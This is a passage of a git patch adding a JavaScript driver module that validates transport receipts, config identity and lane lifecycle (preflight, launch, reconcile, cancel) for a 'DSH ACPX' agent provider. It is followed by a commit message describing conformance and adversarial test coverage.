Muse Spark 1.2 Contributor or Ox Alpha. ' + + 'ACPX gives no authoritative prompt-sent acknowledgement, so launches stay ' + + 'uncertain after spawn and are never replayed. Same-session reply is ' + + 'unsupported; attention surfaces unresolved instead of starting a ' + + 'replacement prompt or session.', + provider: DSH_PROVIDER, + replay_posture: 'never_replay', + revision: 'p20.dsh-acpx.1', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }, + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }, + }; + const validated = validateDriverDeclarationV1(declaration); + // Belt and braces: the declaration this module ships must keep asserting the + // exact DSH truth even if the literal above is ever edited. + assertCapabilityRequirementV1(validated, { + create_pr_posture: 'prohibited', + dispatch_certainty: 'uncertain_after_spawn', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); + return validated; +} + +// --------------------------------------------------------------------------- +// Injected transport port validation +// --------------------------------------------------------------------------- + +export function assertDshAcpTransportV1(transport) { + const path = 'dsh_transport'; + assertNotProxy(transport, path); + if (!isPlainObject(transport)) { + if (typeof transport === 'object' && transport !== null && !Array.isArray(transport)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of exactly five concrete synchronous functions.`); + } + const entries = assertJsonDataObject(transport, path); + const expected = new Set(DSH_ACPX_TRANSPORT_KEYS); + if (entries.length !== DSH_ACPX_TRANSPORT_KEYS.length + || entries.some(({ key }) => !expected.has(key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly ${capturedJoin(DSH_ACPX_TRANSPORT_KEYS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete synchronous transport function.`); + } + } + return capturedFreeze({ + keys: [...DSH_ACPX_TRANSPORT_KEYS], + mode: 'injected_bounded_one_shot_port', + schema: DSH_ACPX_DRIVER_SCHEMA_ID, + }); +} + +// --------------------------------------------------------------------------- +// Receipt validation (recorded ACPX evidence projected by the port) +// --------------------------------------------------------------------------- + +function assertReceiptObject(value, keys, label) { + const path = `dsh_transport.${label}`; + assertDirectJsonClosure(value, path); + assertPlainObject(value, 'invalid_type', path, path); + assertAllowedKeys(value, keys, path); +} + +function assertHexDigest(value, path) { + if (typeof value !== 'string' || !capturedTest(DSH_DIGEST_HEX_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } +} + +function assertBoundedInteger(value, min, max, path, label) { + if (!Number.isInteger(value) || value < min || value > max) { + fail('invalid_format', path, + `${path} must be an integer from ${min} to ${max}; ${label} outside its bound fails closed.`); + } +} + +function assertClosedValue(value, vocabulary, path, label) { + if (!capturedIncludes(vocabulary, value)) { + fail('invalid_format', path, + `${path} must be exactly one of ${capturedJoin(vocabulary, ', ')}; ${label} is denied.`); + } +} + +export function validateDshConfigIdentityV1(value, model) { + if (!capturedIncludes(DSH_ALLOWED_MODELS, model)) { + fail('dsh_model_denied', 'dsh_transport.config_identity.model', + `The DSH model must be exactly one of ${capturedJoin(DSH_ALLOWED_MODELS, ', ')}.`); + } + assertReceiptObject(value, DSH_IDENTITY_RECEIPT_KEYS, 'config_identity'); + const ready = optOwn(value, 'ready'); + if (ready !== true && ready !== false) { + fail('invalid_format', 'dsh_transport.config_identity.ready', + 'dsh_transport.config_identity.ready must be a primitive boolean.'); + } + if (ready === false) { + if (hasOwn(value, 'reason')) { + assertClosedValue(optOwn(value, 'reason'), DSH_IDENTITY_UNAVAILABLE_REASONS, + 'dsh_transport.config_identity.reason', 'identity-unavailability reason'); + return freezeData({ ready: false, reason: optOwn(value, 'reason') }); + } + return freezeData({ ready: false, reason: null }); + } + if (hasOwn(value, 'reason')) { + fail('invalid_format', 'dsh_transport.config_identity.reason', + 'A ready DSH config identity carries no unavailability reason.'); + } + for (const key of ['config_path', 'config_sha256', 'credential_source', 'credential_sha256']) { + if (!hasOwn(value, key)) { + fail('missing_key', `dsh_transport.config_identity.${key}`, + `A ready DSH config identity must declare ${key}; partial identity is a guess.`); + } + } + const configPath = optOwn(value, 'config_path'); + assertBoundedText(configPath, { + min: 1, max: DSH_MAX_CONFIG_PATH_BYTES, allowBlank: true, + path: 'dsh_transport.config_identity.config_path', label: 'config_path', + }); + if (!capturedTest(DSH_ABSOLUTE_PATH_PATTERN, configPath)) { + fail('invalid_format', 'dsh_transport.config_identity.config_path', + 'dsh_transport.config_identity.config_path must be an absolute POSIX-style path.'); + } + assertHexDigest(optOwn(value, 'config_sha256'), 'dsh_transport.config_identity.config_sha256'); + const credentialSource = optOwn(value, 'credential_source'); + assertClosedValue(credentialSource, ['env', 'file'], + 'dsh_transport.config_identity.credential_source', 'credential source'); + assertHexDigest(optOwn(value, 'credential_sha256'), 'dsh_transport.config_identity.credential_sha256'); + return freezeData({ + config_path: configPath, + config_sha256: optOwn(value, 'config_sha256'), + credential_sha256: optOwn(value, 'credential_sha256'), + credential_source: credentialSource, + ready: true, + reason: null, + }); +} + +function assertIdentityUnchanged(current, prior, operation) { + if (!current.ready) { + fail('dsh_identity_unavailable', `driver.${operation}.request`, + 'The DSH config identity became unavailable after preflight; the lane fails closed.'); + } + for (const key of IDENTITY_DRIFT_FIELDS) { + if (!constantTimeEqual(current[key], prior[key])) { + fail('dsh_identity_drift', `driver.${operation}.request.${key}`, + `The exact ${key} drifted from the identity recorded at DSH preflight; ` + + 'model/config/credential drift fails the lane closed.'); + } + } +} + +function validateSpawnReceiptV1(value) { + assertReceiptObject(value, DSH_SPAWN_RECEIPT_KEYS, 'spawn_receipt'); + const sessionRef = optOwn(value, 'session_ref'); + assertBoundedText(sessionRef, { + min: 1, max: DSH_MAX_SESSION_REF_BYTES, + path: 'dsh_transport.spawn_receipt.session_ref', label: 'session_ref', + }); + if (!capturedTest(DSH_SESSION_REF_PATTERN, sessionRef)) { + fail('invalid_format', 'dsh_transport.spawn_receipt.session_ref', + `dsh_transport.spawn_receipt.session_ref violates ${DSH_SESSION_REF_PATTERN.source}.`); + } + if (hasOwn(value, 'observed_at_ms')) { + assertBoundedInteger(optOwn(value, 'observed_at_ms'), 0, DSH_MAX_TIME_MS, + 'dsh_transport.spawn_receipt.observed_at_ms', 'observed_at_ms'); + } + return freezeData({ session_ref: sessionRef }); +} + +function correlationFor(lane) { + return freezeData({ + assignment_id: lane.assignment_id, + base_sha: lane.base_sha, + child_envelope_digest: lane.child_envelope_digest, + lane_index: lane.lane_index, + model: lane.model, + run_id: lane.run_id, + }); +} + +function assertReceiptCorrelation(receipt, lane, pathPrefix) { + for (const key of DSH_CORRELATION_KEYS) { + const actual = optOwn(receipt, key); + const expected = lane[key]; + const equal = key === 'child_envelope_digest' + ? constantTimeEqual(actual, expected) + : actual === expected; + if (!equal) { + fail('dsh_correlation_mismatch', `${pathPrefix}.${key}`, + `Recorded ACPX evidence carries a ${key} that does not match this lane's exact ` + + 'child identity; task/session correlation fails closed.'); + } + } + if (!constantTimeEqual(optOwn(receipt, 'session_ref'), lane.dispatch.session_ref)) { + fail('dsh_correlation_mismatch', `${pathPrefix}.session_ref`, + 'Recorded ACPX evidence names a different session than this lane dispatched; ' + + 'correlation fails closed.'); + } +} + +function validateEvidenceReceiptV1(value, lane) { + assertReceiptObject(value, DSH_EVIDENCE_RECEIPT_KEYS, 'poll_receipt'); + assertReceiptCorrelation(value, lane, 'dsh_transport.poll_receipt'); + const state = optOwn(value, 'state'); + assertClosedValue(state, DSH_EVIDENCE_STATES, 'dsh_transport.poll_receipt.state', 'evidence state'); + const stopReasonPresent = hasOwn(value, 'stop_reason'); + if (stopReasonPresent) { + if (!capturedIncludes(DSH_TERMINAL_EVIDENCE_STATES, state)) { + fail('invalid_format', 'dsh_transport.poll_receipt.stop_reason', + 'stop_reason is only valid on terminal recorded evidence.'); + } + assertClosedValue(optOwn(value, 'stop_reason'), DSH_STOP_REASONS, + 'dsh_transport.poll_receipt.stop_reason', 'stop_reason'); + } + const questionPresent = hasOwn(value, 'question_ref'); + if (questionPresent) { + if (state !== 'needs_attention') { + fail('invalid_format', 'dsh_transport.poll_receipt.question_ref', + 'question_ref is only valid on needs_attention recorded evidence.'); + } + const questionRef = optOwn(value, 'question_ref'); + if (typeof questionRef !== 'string' || !capturedTest(DSH_QUESTION_REF_PATTERN, questionRef)) { + fail('invalid_format', 'dsh_transport.poll_receipt.question_ref', + `dsh_transport.poll_receipt.question_ref violates ${DSH_QUESTION_REF_PATTERN.source}.`); + } + } + assertBoundedInteger(optOwn(value, 'event_count'), 0, DSH_MAX_RECORDED_EVENTS, + 'dsh_transport.poll_receipt.event_count', 'event_count'); + assertBoundedInteger(optOwn(value, 'cursor'), 0, DSH_MAX_CURSOR, + 'dsh_transport.poll_receipt.cursor', 'cursor'); + assertBoundedInteger(optOwn(value, 'updated_at_ms'), 0, DSH_MAX_TIME_MS, + 'dsh_transport.poll_receipt.updated_at_ms', 'updated_at_ms'); + return freezeData({ + cursor: optOwn(value, 'cursor'), + event_count: optOwn(value, 'event_count'), + question_ref: questionPresent ? optOwn(value, 'question_ref') : null, + state, + stop_reason: stopReasonPresent ? optOwn(value, 'stop_reason') : null, + updated_at_ms: optOwn(value, 'updated_at_ms'), + }); +} + +function validateEventPageV1(value, request) { + assertReceiptObject(value, DSH_EVENT_PAGE_KEYS, 'event_page'); + const records = optOwn(value, 'records'); + assertDenseJsonArray(records, 'dsh_transport.event_page.records'); + if (records.length > request.max_records) { + fail('event_page_overbound', 'dsh_transport.event_page.records', + `The event page returned ${records.length} records while the driver bounded the page ` + + `to ${request.max_records}.`); + } + let previousSeq = request.cursor; + const normalized = []; + for (let index = 0; index < records.length; index += 1) { + const path = `dsh_transport.event_page.records[${index}]`; + const record = records[index]; + assertDirectJsonClosure(record, path); + assertPlainObject(record, 'invalid_type', path, path); + assertAllowedKeys(record, DSH_EVENT_RECORD_KEYS, path); + const seq = optOwn(record, 'seq'); + assertBoundedInteger(seq, 0, DSH_MAX_CURSOR, `${path}.seq`, 'seq'); + if (seq <= previousSeq) { + fail('invalid_format', `${path}.seq`, + 'Event page sequence numbers must strictly increase past the requested cursor.'); + } + const kind = optOwn(record, 'kind'); + assertClosedValue(kind, DSH_EVENT_KINDS, `${path}.kind`, 'event kind'); + assertBoundedInteger(optOwn(record, 'bytes'), 0, DSH_MAX_EVENT_RECORD_BYTES, `${path}.bytes`, 'bytes'); + previousSeq = seq; + normalized.push(freezeData({ bytes: optOwn(record, 'bytes'), kind, seq })); + } + const nextCursor = optOwn(value, 'next_cursor'); + assertBoundedInteger(nextCursor, 0, DSH_MAX_CURSOR, 'dsh_transport.event_page.next_cursor', 'next_cursor'); + if (nextCursor < previousSeq) { + fail('invalid_format', 'dsh_transport.event_page.next_cursor', + 'next_cursor must not move backwards past the last returned record.'); + } + const truncated = optOwn(value, 'truncated'); + if (typeof truncated !== 'boolean') { + fail('invalid_format', 'dsh_transport.event_page.truncated', + 'dsh_transport.event_page.truncated must be a primitive boolean.'); + } + return freezeData({ next_cursor: nextCursor, records: normalized, truncated }); +} + +function validateCancelReceiptV1(value, lane) { + assertReceiptObject(value, DSH_CANCEL_RECEIPT_KEYS, 'cancel_receipt'); + assertReceiptCorrelation(value, lane, 'dsh_transport.cancel_receipt'); + const outcome = optOwn(value, 'outcome'); + assertClosedValue(outcome, DSH_CANCEL_OUTCOMES, 'dsh_transport.cancel_receipt.outcome', 'cancel outcome'); + return freezeData({ outcome }); +} + +function isProvablyPreSpawn(error) { + if (error === null || typeof error !== 'object') return false; + try { + if (IS_PROXY(error)) return false; + const prototype = Object.getPrototypeOf(error); + if (prototype !== Error.prototype && prototype !== Object.prototype) return false; + const phase = Object.getOwnPropertyDescriptor(error, 'phase'); + if (!phase || phase.get !== undefined || phase.value !== 'prespawn') return false; + const code = Object.getOwnPropertyDescriptor(error, 'code'); + return Boolean(code && code.get === undefined + && typeof code.value === 'string' + && capturedTest(DSH_TRANSPORT_ERROR_CODE_PATTERN, code.value)); + } catch { + return false; + } +} + +function isTypedContractError(error) { + return error instanceof Error && error.name === 'RunContractV1Error'; +} + +// --------------------------------------------------------------------------- +// Driver construction +// --------------------------------------------------------------------------- + +export function createDshApxDriverV1(options) { + const optionsPath = 'dsh_driver_options'; + assertNotProxy(options, optionsPath); + if (options === undefined || options === null || !isPlainObject(options)) { + fail('invalid_type', optionsPath, + `${optionsPath} must be a plain object carrying transport and workspace_mode.`); + } + assertAllowedKeys(options, DSH_DRIVER_OPTION_KEYS, optionsPath); + for (const key of ['transport', 'workspace_mode']) { + if (!hasOwn(options, key)) { + fail('missing_key', `${optionsPath}.${key}`, + `${optionsPath}.${key} is required; the driver inherits no hidden transport or workspace default.`); + } + } + const transport = optOwn(options, 'transport'); + assertDshAcpTransportV1(transport); + + const workspaceMode = optOwn(options, 'workspace_mode'); + if (!capturedIncludes(DSH_WORKSPACE_MODES, workspaceMode)) { + fail('direct_mode_rejected', `${optionsPath}.workspace_mode`, + `${optionsPath}.workspace_mode must be exactly "managed"; direct mode and every other ` + + 'workspace semantics fail closed for DSH runs.'); + } + + let clock = Date.now.bind(Date); + if (hasOwn(options, 'now')) { + const provided = optOwn(options, 'now'); + if (typeof provided !== 'function' || IS_PROXY(provided)) { + fail('invalid_type', `${optionsPath}.now`, + `${optionsPath}.now must be a concrete clock function.`); + } + clock = provided; + } + + const declaration = buildDshAcpDeclarationV1(); + const lanes = new MAP_CTOR(); + + function nowMs(operation) { + let value; + try { + value = clock(); + } catch { + value = Number.NaN; + } + assertBoundedInteger(value, 0, DSH_MAX_TIME_MS, + `driver.${operation}.request.clock`, 'clock reading'); + return value; + } + + function callTransport(name, argument) { + return transport[name].call(transport, argument); + } + + function existingLane(envelope) { + return lanes.get(laneKey(envelope)); + } + + function beginOperation(lane, operation, timestamp) { + if (!Number.isInteger(lane.operation_count + 1) + || lane.operation_count + 1 > DSH_MAX_LANE_OPERATIONS) { + fail('operation_budget_exceeded', `driver.${operation}.request`, + `At most ${DSH_MAX_LANE_OPERATIONS} driver operations are permitted per DSH lane; ` + + 'the budget fails closed.'); + } + if (timestamp < lane.observed_at_ms) { + fail('timing_regression_denied', `driver.${operation}.request.clock`, + 'Clock time moved backwards on a live DSH lane; timing regressions fail closed.'); + } + } + + function advance(lane, patch, timestamp) { + return freezeData({ + ...lane, + ...patch, + observed_at_ms: Math.max(lane.observed_at_ms, timestamp), + operation_count: lane.operation_count + 1, + }); + } + + function assertDshBinding(envelope, operation) { + if (envelope.execution.provider !== DSH_PROVIDER) { + fail('provider_slot_mismatch', `driver.${operation}.request.envelope_text`, + `The DSH ACPX driver binds provider "${DSH_PROVIDER}" exactly; cross-provider ` + + 'substitution fails closed.'); + } + const model = envelope.execution.model; + if (!capturedIncludes(DSH_ALLOWED_MODELS, model)) { + fail('dsh_model_denied', `driver.${operation}.request.envelope_text`, + `The DSH ACPX driver binds exactly ${capturedJoin(DSH_ALLOWED_MODELS, ', ')}; ` + + 'every other model fails closed.'); + } + return model; + } + + function requireKnownLane(envelope, model, request, operation) { + const prior = existingLane(envelope); + if (prior === undefined) { + fail('not_preflighted', `driver.${operation}.request`, + 'No DSH preflight identity exists for this exact child lane.'); + } + if (!constantTimeEqual(prior.child_envelope_digest, request.child_envelope_digest)) { + fail('stale_identity_denied', `driver.${operation}.request.child_envelope_digest`, + 'The request digest does not match the child recorded at DSH preflight.'); + } + if (prior.model !== model) { + fail('dsh_model_drift', `driver.${operation}.request.envelope_text`, + 'The envelope model differs from the exact model recorded at DSH preflight.'); + } + return prior; + } + + function currentIdentity(model, operation) { + return validateDshConfigIdentityV1( + callTransport('configIdentity', freezeData({ model })), model); + } + + function baseResult(operation, request, envelope, disposition) { + return { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + disposition, + }; + } + + // Content-free diagnostics: fragments combine closed-vocabulary words and + // integers already validated against bounds. Nothing a provider or a hostile + // transport authored can reach a detail message. + function withDetail(result, code, fragments) { + return { ...result, detail_code: code, detail_message: fragments.join(' ') }; + } + + function progressFragments(lane, extra = []) { + return [ + `events=${lane.events_seen}`, + `cursor=${lane.cursor}`, + `truncated=${lane.events_truncated ? 'true' : 'false'}`, + ...extra, + ]; + } + + function requireDispatch(lane, operation) { + if (lane.dispatch.state !== 'spawn_accepted' && lane.dispatch.state !== 'intent_only') { + fail('not_dispatched', `driver.${operation}.request`, + 'This DSH lane holds no dispatch intent to reconcile or cancel.'); + } + } + + function readIdentityOrBlocked(request, envelope, model) { + try { + return { identity: currentIdentity(model, 'preflight'), error: null }; + } catch (error) { + // Malformed or forged identity receipts fail closed with their typed + // codes; only genuine probe loss degrades to an honest blocked result. + if (isTypedContractError(error)) throw error; + return { + identity: null, + error: withDetail(baseResult('preflight', request, envelope, 'blocked'), + 'dsh_transport_unavailable', ['transport=configIdentity', `model=${model}`]), + }; + } + } + + // --- preflight ------------------------------------------------------------- + + function preflight(request) { + const operation = 'preflight'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const timestamp = nowMs(operation); + const prior = existingLane(envelope); + if (prior === undefined && lanes.size >= DSH_MAX_LANES) { + fail('lane_budget_exceeded', `driver.${operation}.request`, + `At most ${DSH_MAX_LANES} DSH lanes may exist per process; the lane budget fails closed.`); + } + const probed = readIdentityOrBlocked(request, envelope, model); + if (probed.error) return probed.error; + const identity = probed.identity; + if (!identity.ready) { + const code = identity.reason === 'credential_unavailable' + ? 'dsh_credential_unavailable' + : 'dsh_config_unavailable'; + return withDetail(baseResult(operation, request, envelope, 'blocked'), + code, [`reason=${identity.reason ?? 'unknown'}`, `model=${model}`]); + } + beginOperation(prior ?? freezeData({ observed_at_ms: timestamp, operation_count: 0 }), operation, timestamp); + lanes.set(laneKey(envelope), freezeData({ + assignment_id: envelope.assignment_id, + base_sha: envelope.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + cursor: 0, + dispatch: freezeData({ receipt_valid: false, session_ref: null, state: 'none' }), + events_seen: 0, + events_truncated: false, + identity, + launch_attempts: prior?.launch_attempts ?? 0, + lane_index: envelope.lane_index, + model, + observed_at_ms: Math.max(prior?.observed_at_ms ?? timestamp, timestamp), + operation_count: (prior?.operation_count ?? 0) + 1, + run_id: envelope.run_id, + })); + return baseResult(operation, request, envelope, 'ready'); + } + + // --- launch ---------------------------------------------------------------- + + function launch(request) { + const operation = 'launch'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const lane = requireKnownLane(envelope, model, request, operation); + const timestamp = nowMs(operation); + beginOperation(lane, operation, timestamp); + + // Exact model/config/credential identity must still hold immediately + // before spawn. Drift throws before anything is sent, so failing closed + // here can never leave a half-dispatched lane behind. Any other probe + // failure is equally provably pre-spawn: the spawn call was never made. + try { + assertIdentityUnchanged(currentIdentity(model, operation), lane.identity, operation); + } catch (error) { + if (isTypedContractError(error)) throw error; + lanes.set(laneKey(envelope), advance(lane, { + dispatch: freezeData({ receipt_valid: false, session_ref: null, state: 'not_sent' }), + launch_attempts: lane.launch_attempts + 1, + }, timestamp)); + return withDetail(baseResult(operation, request, envelope, 'not_sent'), + 'transport_prespawn_denied', ['probe=configIdentity', `model=${model}`]); + } + + if (lane.launch_attempts >= DSH_MAX_LAUNCH_ATTEMPTS) { + fail('launch_budget_exceeded', `driver.${operation}.request`, + `At most ${DSH_MAX_LAUNCH_ATTEMPTS} launch attempts are permitted per DSH lane; ` + + 'the budget fails closed.'); + } + + const payload = freezeData({ + assignment_id: envelope.assignment_id, + attempted_at_ms: timestamp, + base_sha: envelope.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + envelope_text: request.envelope_text, + lane_index: envelope.lane_index, + model, + run_id: envelope.run_id, + }); + assertAllowedKeys(payload, DSH_DISPATCH_PAYLOAD_KEYS, `driver.${operation}.payload`); + + // Spawn intent begins here. Everything after this point resolves to an + // honest disposition and never throws, so the P17 lane state always lands + // in a possibly-sent state and no duplicate launch can follow. + try { + const receipt = validateSpawnReceiptV1(callTransport('spawn', payload)); + lanes.set(laneKey(envelope), advance(lane, { + dispatch: freezeData({ receipt_valid: true, session_ref: receipt.session_ref, state: 'spawn_accepted' }), + launch_attempts: lane.launch_attempts + 1, + }, timestamp)); + // No authoritative prompt-sent acknowledgement exists, so the posture + // stays uncertain_after_spawn even when the port accepted the spawn. + return baseResult(operation, request, envelope, 'dispatch_uncertain'); + } catch (error) { + const provablyPrespawn = isProvablyPreSpawn(error); + lanes.set(laneKey(envelope), advance(lane, { + dispatch: freezeData({ + receipt_valid: false, + session_ref: null, + state: provablyPrespawn ? 'not_sent' : 'intent_only', + }), + launch_attempts: lane.launch_attempts + 1, + }, timestamp)); + if (provablyPrespawn) { + return withDetail(baseResult(operation, request, envelope, 'not_sent'), + 'transport_prespawn_denied', [`code=${optOwn(error, 'code')}`]); + } + // Exception or loss after spawn intent stays dispatch_uncertain forever: + // never replayed, retried, or fallback-substituted. + return baseResult(operation, request, envelope, 'dispatch_uncertain'); + } + } + + // --- reconcile --------------------------------------------------------------- + + function applyEventPage(lane, includeCount, operation) { + if (!includeCount) return lane; + const remaining = DSH_MAX_RECORDED_EVENTS - lane.events_seen; + if (remaining <= 0) return freezeData({ ...lane, events_truncated: true }); + const pageRequest = freezeData({ + correlation: correlationFor(lane), + cursor: lane.cursor, + max_records: Math.min(DSH_MAX_EVENT_PAGE_RECORDS, remaining), + session_ref: lane.dispatch.session_ref, + }); + let page; + try { + page = validateEventPageV1(callTransport('events', pageRequest), pageRequest); + } catch (error) { + if (isTypedContractError(error)) throw error; + fail('dsh_events_unavailable', `driver.${operation}.request.include`, + 'The recorded ACPX event page could not be read; the reconcile fails closed instead of guessing.'); + } + return freezeData({ + ...lane, + cursor: Math.max(lane.cursor, page.next_cursor), + events_seen: Math.min(DSH_MAX_RECORDED_EVENTS, lane.events_seen + page.records.length), + events_truncated: lane.events_truncated || page.truncated, + }); + } + + function reconcile(request) { + const operation = 'reconcile'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const lane = requireKnownLane(envelope, model, request, operation); + const timestamp = nowMs(operation); + beginOperation(lane, operation, timestamp); + requireDispatch(lane, operation); + const includeCount = Array.isArray(request.include) ? request.include.length : 0; + if (lane.dispatch.session_ref === null) { + // An intent-only lane carries no session handle: nothing can be + // observed or correlated, so honesty stays at uncertainty and no + // doomed transport call is made. The child is never replayed to + // recover a handle. + lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); + return includeCount + ? withDetail(uncertain, 'evidence_absent', progressFragments(lane, ['evidence=unavailable'])) + : uncertain; + } + + // Exact identity must hold on every observation too: credential or config + // DRIFT fails the observation closed with a typed error below, while a + // lost identity/evidence probe degrades honestly to uncertainty. + let evidence; + try { + const identity = currentIdentity(model, operation); + assertIdentityUnchanged(identity, lane.identity, operation); + evidence = validateEvidenceReceiptV1(callTransport('poll', freezeData({ + correlation: correlationFor(lane), + session_ref: lane.dispatch.session_ref, + })), lane); + } catch (error) { + if (isTypedContractError(error)) throw error; + // Loss or exception during observation degrades honestly to uncertainty. + // It never invents a terminal state and never replays the child. + lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); + return includeCount + ? withDetail(uncertain, 'evidence_absent', progressFragments(lane, ['evidence=unavailable'])) + : uncertain; + } + + const updated = applyEventPage(lane, includeCount, operation); + lanes.set(laneKey(envelope), advance(updated, {}, timestamp)); + const progress = progressFragments(updated); + + if (evidence.state === 'absent') { + const code = request.intent === 'restart_reattach' + ? 'restart_evidence_absent' + : 'evidence_absent'; + const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); + return includeCount ? withDetail(uncertain, code, progress) : uncertain; + } + if (evidence.state === 'needs_attention') { + // Same-session reply is unsupported: surface the attention honestly and + // never answer it or start a replacement prompt or session. + const attention = baseResult(operation, request, envelope, 'unresolved_attention'); + return includeCount + ? withDetail(attention, 'unresolved_attention', [...progress, 'same_session_reply=unsupported']) + : attention; + } + if (capturedIncludes(DSH_TERMINAL_EVIDENCE_STATES, evidence.state)) { + const terminal = baseResult(operation, request, envelope, 'terminal'); + return includeCount + ? withDetail(terminal, 'terminal_evidence', [ + `state=${evidence.state}`, + ...(evidence.stop_reason ? [`stop_reason=${evidence.stop_reason}`] : []), + ...progress, + ]) + : terminal; + } + const running = baseResult(operation, request, envelope, 'in_progress'); + return includeCount ? withDetail(running, 'live_progress', progress) : running; + } + + // --- cancel --------------------------------------------------------------- + + function cancel(request) { + const operation = 'cancel'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const lane = requireKnownLane(envelope, model, request, operation); + const timestamp = nowMs(operation); + beginOperation(lane, operation, timestamp); + requireDispatch(lane, operation); + if (lane.dispatch.session_ref === null) { + fail('dsh_cancel_unresolved', `driver.${operation}.request`, + 'This DSH lane holds only an unconfirmed spawn intent and no session handle; ' + + 'cancellation stays unresolved instead of claiming a delivery it cannot target.'); + } + + // A cancellation is a control signal, not a prompt: a lost or failing + // cancellation request fails this operation closed with a typed error and + // leaves the lane state untouched, so a later cancel or reconcile remains + // possible without any replay of the child. Identity drift still denies + // the operation through its typed drift code below. + let receipt; + try { + const identity = currentIdentity(model, operation); + assertIdentityUnchanged(identity, lane.identity, operation); + receipt = validateCancelReceiptV1(callTransport('cancel', freezeData({ + correlation: correlationFor(lane), + session_ref: lane.dispatch.session_ref, + })), lane); + } catch (error) { + if (isTypedContractError(error)) throw error; + fail('dsh_cancel_unresolved', `driver.${operation}.request`, + 'The DSH cancellation request could not be resolved; the lane stays untouched ' + + 'and cancellation may be requested again without any replay.'); + } + lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + const disposition = receipt.outcome === 'confirmed' + ? 'cancel_confirmed' + : receipt.outcome === 'requested' ? 'cancel_requested' : 'already_terminal'; + return withDetail(baseResult(operation, request, envelope, disposition), + disposition, [`outcome=${receipt.outcome}`]); + } + + const operations = { cancel, launch, preflight, reconcile }; + const driver = bindProviderDriverV1(operations, declaration); + + return OBJECT_FREEZE({ + capability: declaration.capability, + declaration, + driver, + features: declaration.features, + models: DSH_ALLOWED_MODELS, + provider: DSH_PROVIDER, + schema: DSH_ACPX_DRIVER_SCHEMA_ID, + version: DSH_ACPX_DRIVER_VERSION, + workspace_mode: 'managed', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); +} + +// --------------------------------------------------------------------------- +// Description +// --------------------------------------------------------------------------- + +export function describeDshApxDriverV1() { + return capturedFreeze({ + bounds: capturedFreeze({ + event_page_records: DSH_MAX_EVENT_PAGE_RECORDS, + event_record_bytes: DSH_MAX_EVENT_RECORD_BYTES, + lanes: DSH_MAX_LANES, + lane_operations: DSH_MAX_LANE_OPERATIONS, + launch_attempts: DSH_MAX_LAUNCH_ATTEMPTS, + max_cursor: DSH_MAX_CURSOR, + max_time_ms: DSH_MAX_TIME_MS, + recorded_events: DSH_MAX_RECORDED_EVENTS, + session_ref_bytes: DSH_MAX_SESSION_REF_BYTES, + }), + cancel_outcomes: [...DSH_CANCEL_OUTCOMES], + claims: capturedFreeze({ + durable_run_store: false, + live_transport_qualification: false, + merge_or_pr_authority: false, + real_transport_configured: false, + replay_or_fallback: false, + same_session_reply: false, + supervisor_cutover: false, + }), + detail_codes: [...DSH_DETAIL_CODES], + event_kinds: [...DSH_EVENT_KINDS], + evidence_states: [...DSH_EVIDENCE_STATES], + operations: [...DRIVER_OPERATIONS], + provider: DSH_PROVIDER, + models: [...DSH_ALLOWED_MODELS], + schema: DSH_ACPX_DRIVER_SCHEMA_ID, + transport_keys: [...DSH_ACPX_TRANSPORT_KEYS], + transport_mode: 'injected_bounded_one_shot_port', + version: DSH_ACPX_DRIVER_VERSION, + }); +} + +capturedFreeze(assertDshAcpTransportV1); +capturedFreeze(createDshApxDriverV1); +capturedFreeze(describeDshApxDriverV1); +capturedFreeze(validateDshConfigIdentityV1); From 4884814f8ebdb73c0636d581cc89fb74f3cc495a Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sat, 22 Aug 2026 20:50:36 +0000 Subject: [PATCH 26/81] test(provider): add DSH ACPX driver conformance and hostile coverage r1-dsh-acpx-driver drives the real adapter over a deterministic fake one-shot port: hard provider/model binding for Muse Spark 1.2 Contributor and Ox Alpha, the full preflight/launch/reconcile/cancel lifecycle, honest post-spawn uncertainty with no replay after any launch observation, provably-pre-spawn not_sent with a one-attempt budget, identity and per-field correlation drift denials before spawn, bounded cursor-monotonic event pages that stop at the recorded-event cap, lane/operation/clock budgets, cancellation outcome mapping, restart_reattach recovery from recorded evidence only, the accepted P17 provider-neutral conformance suite run unmodified against the DSH driver, and content-free detail telemetry. r1-dsh-acpx-driver-adversarial proves hostile direct-JS options, transport surfaces, forged spawn/poll/event/cancel receipts, unprovable pre-spawn markers, digest-only launches, tampered envelopes, direct-mode/merge/fallback/resend/reply keys, bounds abuse, and cross-model evidence substitution all fail closed with stable typed codes without executing 